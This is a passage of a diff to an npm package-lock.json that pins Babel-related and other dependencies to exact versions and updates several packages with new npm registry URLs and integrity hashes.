"sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", - "dev": true - }, "asap": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", @@ -834,17 +916,18 @@ "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", "dev": true, "requires": { - "bn.js": "^4.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "bn.js": "4.11.8", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "assert": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", - "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.0.tgz", + "integrity": "sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==", "dev": true, "requires": { + "object-assign": "4.1.1", "util": "0.10.3" }, "dependencies": { @@ -888,6 +971,12 @@ "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", "dev": true }, + "astral-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", + "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", + "dev": true + }, "async": { "version": "1.5.2", "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", @@ -906,9 +995,9 @@ "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=" }, "async-limiter": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz", - "integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==", "dev": true }, "asynckit": { @@ -917,9 +1006,9 @@ "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "atob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", - "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", + "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", "dev": true }, "aws-sign2": { @@ -939,21 +1028,21 @@ "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", "dev": true, "requires": { - "babel-core": "^6.26.0", - "babel-polyfill": "^6.26.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "chokidar": "^1.6.1", - "commander": "^2.11.0", - "convert-source-map": "^1.5.0", - "fs-readdir-recursive": "^1.0.0", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "output-file-sync": "^1.1.2", - "path-is-absolute": "^1.0.1", - "slash": "^1.0.0", - "source-map": "^0.5.6", - "v8flags": "^2.1.1" + "babel-core": "6.26.3", + "babel-polyfill": "6.26.0", + "babel-register": "6.26.0", + "babel-runtime": "6.26.0", + "chokidar": "1.7.0", + "commander": "2.15.1", + "convert-source-map": "1.5.1", + "fs-readdir-recursive": "1.1.0", + "glob": "7.1.6", + "lodash": "4.17.10", + "output-file-sync": "1.1.2", + "path-is-absolute": "1.0.1", + "slash": "1.0.0", + "source-map": "0.5.6", + "v8flags": "2.1.1" }, "dependencies": { "babel-runtime": { @@ -962,8 +1051,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -980,9 +1069,9 @@ "integrity": "sha1-AnYgvuVnqIwyVhV05/0IAdMxGOQ=", "dev": true, "requires": { - "chalk": "^1.1.0", - "esutils": "^2.0.2", - "js-tokens": "^3.0.0" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" } }, "babel-core": { @@ -991,25 +1080,25 @@ "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "babel-generator": "^6.26.0", - "babel-helpers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "convert-source-map": "^1.5.1", - "debug": "^2.6.9", - "json5": "^0.5.1", - "lodash": "^4.17.4", - "minimatch": "^3.0.4", - "path-is-absolute": "^1.0.1", - "private": "^0.1.8", - "slash": "^1.0.0", - "source-map": "^0.5.7" + "babel-code-frame": "6.26.0", + "babel-generator": "6.26.1", + "babel-helpers": "6.24.1", + "babel-messages": "6.23.0", + "babel-register": "6.26.0", + "babel-runtime": "6.26.0", + "babel-template": "6.26.0", + "babel-traverse": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "convert-source-map": "1.5.1", + "debug": "2.6.9", + "json5": "0.5.1", + "lodash": "4.17.10", + "minimatch": "3.0.4", + "path-is-absolute": "1.0.1", + "private": "0.1.8", + "slash": "1.0.0", + "source-map": "0.5.7" }, "dependencies": { "babel-code-frame": { @@ -1018,9 +1107,9 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" } }, "babel-runtime": { @@ -1029,8 +1118,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.1" } }, "babel-template": { @@ -1039,11 +1128,11 @@ "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "lodash": "^4.17.4" + "babel-runtime": "6.26.0", + "babel-traverse": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "lodash": "4.17.10" } }, "babel-traverse": { @@ -1052,15 +1141,15 @@ "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", "dev": true, "requires": { - "babel-code-frame": "^6.26.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "debug": "^2.6.8", - "globals": "^9.18.0", - "invariant": "^2.2.2", - "lodash": "^4.17.4" + "babel-code-frame": "6.26.0", + "babel-messages": "6.23.0", + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "babylon": "6.18.0", + "debug": "2.6.9", + "globals": "9.18.0", + "invariant": "2.2.2", + "lodash": "4.17.10" } }, "babel-types": { @@ -1069,10 +1158,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "babylon": { @@ -1121,7 +1210,7 @@ "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", "eslint-scope": "3.7.1", - "eslint-visitor-keys": "^1.0.0" + "eslint-visitor-keys": "1.0.0" }, "dependencies": { "babylon": { @@ -1138,14 +1227,14 @@ "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", "dev": true, "requires": { - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "detect-indent": "^4.0.0", - "jsesc": "^1.3.0", - "lodash": "^4.17.4", - "source-map": "^0.5.7", - "trim-right": "^1.0.1" + "babel-messages": "6.23.0", + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "detect-indent": "4.0.0", + "jsesc": "1.3.0", + "lodash": "4.17.10", + "source-map": "0.5.7", + "trim-right": "1.0.1" }, "dependencies": { "babel-runtime": { @@ -1154,8 +1243,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.1" } }, "babel-types": { @@ -1164,10 +1253,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "regenerator-runtime": { @@ -1190,9 +1279,9 @@ "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-builder-binary-assignment-operator-visitor": { @@ -1201,9 +1290,9 @@ "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", "dev": true, "requires": { - "babel-helper-explode-assignable-expression": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-explode-assignable-expression": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-builder-react-jsx": { @@ -1212,9 +1301,9 @@ "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "esutils": "^2.0.2" + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", + "esutils": "2.0.2" }, "dependencies": { "babel-runtime": { @@ -1223,8 +1312,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.11.1" } }, "babel-types": { @@ -1233,10 +1322,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" } }, "regenerator-runtime": { @@ -1253,10 +1342,10 @@ "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", "dev": true, "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-hoist-variables": "6.24.1", + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-define-map": { @@ -1265,10 +1354,10 @@ "integrity": "sha1-epdH8ljYlH0y1RX2qhx70CIEoIA=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-helper-explode-assignable-expression": { @@ -1277,9 +1366,9 @@ "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-explode-class": { @@ -1288,10 +1377,10 @@ "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", "dev": true, "requires": { - "babel-helper-bindify-decorators": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-bindify-decorators": "6.24.1", + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-function-name": { @@ -1300,11 +1389,11 @@ "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", "dev": true, "requires": { - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-get-function-arity": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-get-function-arity": { @@ -1313,8 +1402,8 @@ "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-hoist-variables": { @@ -1323,8 +1412,8 @@ "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-optimise-call-expression": { @@ -1333,8 +1422,8 @@ "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-regex": { @@ -1343,9 +1432,9 @@ "integrity": "sha1-024i+rEAjXnYhkjjIRaGgShFbOg=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-helper-remap-async-to-generator": { @@ -1354,11 +1443,11 @@ "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-replace-supers": { @@ -1367,12 +1456,12 @@ "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", "dev": true, "requires": { - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-optimise-call-expression": "6.24.1", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helpers": { @@ -1381,8 +1470,8 @@ "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-loader": { @@ -1391,9 +1480,9 @@ "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", "dev": true, "requires": { - "find-cache-dir": "^1.0.0", - "loader-utils": "^1.0.2", - "mkdirp": "^0.5.1" + "find-cache-dir": "1.0.0", + "loader-utils": "1.1.0", + "mkdirp": "0.5.1" }, "dependencies": { "loader-utils": { @@ -1402,9 +1491,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -1415,7 +1504,7 @@ "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-check-es2015-constants": { @@ -1424,24 +1513,24 @@ "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-emotion": { - "version": "10.0.9", - "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.9.tgz", - "integrity": "sha512-IfWP12e9/wHtWHxVTzD692Nbcmrmcz2tip7acp6YUqtrP7slAyr5B+69hyZ8jd55GsyNSZwryNnmuDEVe0j+7w==", + "version": "10.0.23", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.23.tgz", + "integrity": "sha512-1JiCyXU0t5S2xCbItejCduLGGcKmF3POT0Ujbexog2MI4IlRcIn/kWjkYwCUZlxpON0O5FC635yPl/3slr7cKQ==", "requires": { - "@babel/helper-module-imports": "^7.0.0", - "@emotion/hash": "0.7.1", - "@emotion/memoize": "0.7.1", - "@emotion/serialize": "^0.11.6", - "babel-plugin-macros": "^2.0.0", - "babel-plugin-syntax-jsx": "^6.18.0", - "convert-source-map": "^1.5.0", - "escape-string-regexp": "^1.0.5", - "find-root": "^1.1.0", - "source-map": "^0.5.7" + "@babel/helper-module-imports": "7.7.0", + "@emotion/hash": "0.7.3", + "@emotion/memoize": "0.7.3", + "@emotion/serialize": "0.11.14", + "babel-plugin-macros": "2.6.2", + "babel-plugin-syntax-jsx": "6.18.0", + "convert-source-map": "1.5.1", + "escape-string-regexp": "1.0.5", + "find-root": "1.1.0", + "source-map": "0.5.7" }, "dependencies": { "source-map": { @@ -1452,27 +1541,27 @@ } }, "babel-plugin-macros": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.5.1.tgz", - "integrity": "sha512-xN3KhAxPzsJ6OQTktCanNpIFnnMsCV+t8OloKxIL72D6+SUZYFn9qfklPgef5HyyDtzYZqqb+fs1S12+gQY82Q==", + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.6.2.tgz", + "integrity": "sha512-Ntviq8paRTkXIxvrJBauib+2KqQbZQuh4593CEZFF8qz3IVP8VituTZmkGe6N7rsuiOIbejxXj6kx3LMlEq0UA==", "requires": { - "@babel/runtime": "^7.4.2", - "cosmiconfig": "^5.2.0", - "resolve": "^1.10.0" + "@babel/runtime": "7.7.2", + "cosmiconfig": "6.0.0", + "resolve": "1.12.0" }, "dependencies": { "@babel/runtime": { - "version": "7.4.3", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.4.3.tgz", - "integrity": "sha512-9lsJwJLxDh/T3Q3SZszfWOTkk3pHbkmH+3KY+zwIDmsNlxsumuhS2TH3NIpktU4kNvfzy+k3eLT7aTJSPTo0OA==", + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.7.2.tgz", + "integrity": "sha512-JONRbXbTXc9WQE2mAZd1p0Z3DZ/6vaQIkgYMSTP3KjRCyd7rCZCcfhCyX+YjwcKxcZ82UrxbRD358bpExNgrjw==", "requires": { - "regenerator-runtime": "^0.13.2" + "regenerator-runtime": "0.13.3" } }, "regenerator-runtime": { - "version": "0.13.2", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz", - "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA==" + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz", + "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==" } } }, @@ -1565,9 +1654,9 @@ "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-generators": "^6.5.0", - "babel-runtime": "^6.22.0" + "babel-helper-remap-async-to-generator": "6.24.1", + "babel-plugin-syntax-async-generators": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-async-to-generator": { @@ -1576,9 +1665,9 @@ "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-functions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-remap-async-to-generator": "6.24.1", + "babel-plugin-syntax-async-functions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-class-constructor-call": { @@ -1587,9 +1676,9 @@ "integrity": "sha1-gNwoVQWsBn3LjWxl4vbxGrd2Xvk=", "dev": true, "requires": { - "babel-plugin-syntax-class-constructor-call": "^6.18.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-syntax-class-constructor-call": "6.18.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-class-properties": { @@ -1598,10 +1687,10 @@ "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-plugin-syntax-class-properties": "^6.8.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-plugin-syntax-class-properties": "6.13.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-decorators": { @@ -1610,11 +1699,11 @@ "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", "dev": true, "requires": { - "babel-helper-explode-class": "^6.24.1", - "babel-plugin-syntax-decorators": "^6.13.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-explode-class": "6.24.1", + "babel-plugin-syntax-decorators": "6.13.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-do-expressions": { @@ -1623,8 +1712,8 @@ "integrity": "sha1-KMyvkoEtlJws0SgfaQyP3EaK6bs=", "dev": true, "requires": { - "babel-plugin-syntax-do-expressions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-do-expressions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-arrow-functions": { @@ -1633,7 +1722,7 @@ "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-block-scoped-functions": { @@ -1642,7 +1731,7 @@ "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-block-scoping": { @@ -1651,11 +1740,11 @@ "integrity": "sha1-dsKV3DpHQbFmWt/TFnIV3P8ypXY=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-plugin-transform-es2015-classes": { @@ -1664,15 +1753,15 @@ "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", "dev": true, "requires": { - "babel-helper-define-map": "^6.24.1", - "babel-helper-function-name": "^6.24.1", - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-helper-replace-supers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-define-map": "6.24.1", + "babel-helper-function-name": "6.24.1", + "babel-helper-optimise-call-expression": "6.24.1", + "babel-helper-replace-supers": "6.24.1", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-computed-properties": { @@ -1681,8 +1770,8 @@ "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-destructuring": { @@ -1691,7 +1780,7 @@ "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-duplicate-keys": { @@ -1700,8 +1789,8 @@ "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-for-of": { @@ -1710,7 +1799,7 @@ "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-function-name": { @@ -1719,9 +1808,9 @@ "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-literals": { @@ -1730,7 +1819,7 @@ "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-modules-amd": { @@ -1739,9 +1828,9 @@ "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-modules-commonjs": { @@ -1750,10 +1839,10 @@ "integrity": "sha1-0+MQtA72ZKNmIiAAl8bUQCmPK/4=", "dev": true, "requires": { - "babel-plugin-transform-strict-mode": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" + "babel-plugin-transform-strict-mode": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-modules-systemjs": { @@ -1762,9 +1851,9 @@ "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", "dev": true, "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-helper-hoist-variables": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-modules-umd": { @@ -1773,9 +1862,9 @@ "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-object-super": { @@ -1784,8 +1873,8 @@ "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", "dev": true, "requires": { - "babel-helper-replace-supers": "^6.24.1", - "babel-runtime": "^6.22.0" + "babel-helper-replace-supers": "6.24.1", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-parameters": { @@ -1794,12 +1883,12 @@ "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", "dev": true, "requires": { - "babel-helper-call-delegate": "^6.24.1", - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": 